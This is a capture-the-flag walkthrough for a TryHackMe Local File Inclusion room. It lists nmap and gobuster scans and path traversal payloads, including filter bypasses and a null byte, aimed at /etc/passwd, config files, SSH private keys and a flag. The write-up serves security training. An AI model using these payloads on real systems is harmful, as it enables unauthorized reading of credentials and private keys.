TryHackMe Lo-Fi Walkthrough Easy LFI & Path Traversal Room

🎯 Room Info

📖 What This Room Is About

Lo-Fi is a focused, easy room built around Local File Inclusion (LFI) — a vulnerability where a web app takes user input (usually a filename or path parameter) and passes it straight into a file-read function without properly restricting which files can be read.

The room walks through:

1. 🌐 Finding a page/parameter that loads files dynamically
2. 🔍 Confirming LFI with a classic path traversal payload
3. 📂 Reading sensitive files off the server (/etc/passwd and beyond)
4. 🚩 Locating the flag through directory traversal

LFI is still found in real production apps today, especially in older PHP codebases — this room teaches the exact methodology used to find and confirm it.

🧠 Skills You'll Practice

• Recognizing LFI-prone parameters (?page=, ?file=, ?template=, etc.)
• Constructing path traversal payloads (../../../..)
• Reading system files to prove impact
• Basic LFI-to-something-more escalation thinking

🛠️ Step-by-Step Walkthrough

1️⃣ Scan and browse the target

nmap -sC -sV -oN nmap-initial.txt <TARGET_IP>

HTTP is open. Browse the site and look at the URL structure — LFI rooms almost always have a parameter that clearly loads content dynamically, e.g.:

http://<TARGET_IP>/index.php?page=about

2️⃣ Test for path traversal

The core LFI test is simple: try to walk up out of the intended directory using ../ sequences and point at a file you know exists on any Linux system.

http://<TARGET_IP>/index.php?page=../../../../etc/passwd

If the response shows the contents of /etc/passwd (a list of system users), you've confirmed LFI.

💡 Why this matters: /etc/passwd is the standard "proof of impact" file for LFI testing — it's readable by any user on virtually every Linux system, so seeing its contents proves arbitrary file read, regardless of how many ../ you actually needed.

3️⃣ Handle filters (if present)

Some LFI challenges append a fixed extension (like .php) automatically, or strip out ../ naively. Common bypasses:

Null byte / extension issues (older PHP):

http://<TARGET_IP>/index.php?page=../../../../etc/passwd%00

Filter stripping ../ non-recursively:

http://<TARGET_IP>/index.php?page=....//....//....//....//etc/passwd

(This works because a naive filter that removes ../ once, applied to ....//, leaves behind ../ after stripping.)

Too many/too few traversal levels:
Just add more ../ than you think you need — extra ones beyond the web root are harmless, since you just end up at /.

4️⃣ Enumerate for interesting files

Once basic LFI is confirmed, go looking for files more relevant to the box than /etc/passwd:

http://<TARGET_IP>/index.php?page=../../../../var/www/html/config.php
http://<TARGET_IP>/index.php?page=../../../../home/<user>/.ssh/id_rsa

Configuration files often leak database credentials or app secrets; SSH private keys (if world-readable, which is a serious misconfiguration) can lead to full box access.

💡 Why this matters: LFI is rarely the end goal by itself — it's a stepping stone. Real assessments chain it into credential theft, source code disclosure, or even remote code execution (e.g. via log poisoning).

5️⃣ Locate the flag

The flag in this room is typically stored in a file outside the normal web root, reachable only via successful path traversal:

http://<TARGET_IP>/index.php?page=../../../../root/flag.txt

Or it may require finding the exact file name first through directory brute-forcing:

gobuster dir -u http://<TARGET_IP> -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

🚩 Click to reveal: flag

Redacted — swap in your own captured flag if you want to keep a private record.

📋 Every Command / Payload, In Order

nmap -sC -sV -oN nmap-initial.txt <TARGET_IP>
gobuster dir -u http://<TARGET_IP> -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

# LFI test payloads (used as the value of the vulnerable parameter):
../../../../etc/passwd
....//....//....//....//etc/passwd
../../../../var/www/html/config.php
../../../../root/flag.txt

🎓 Key Takeaways

• Any parameter that clearly maps to a filename or file path is worth testing for LFI. ?page=, ?file=, ?template=, ?doc= are all classic red flags.
• /etc/passwd is the universal proof-of-concept file. It's readable everywhere and instantly confirms arbitrary file read.
• Naive filters are often bypassable. A filter that strips ../ once, rather than recursively, can be defeated with tricks like ....//.
• LFI is a stepping stone, not a dead end. In real-world assessments, it's frequently chained into credential theft or remote code execution — treat it as the start of an attack chain, not the finish line.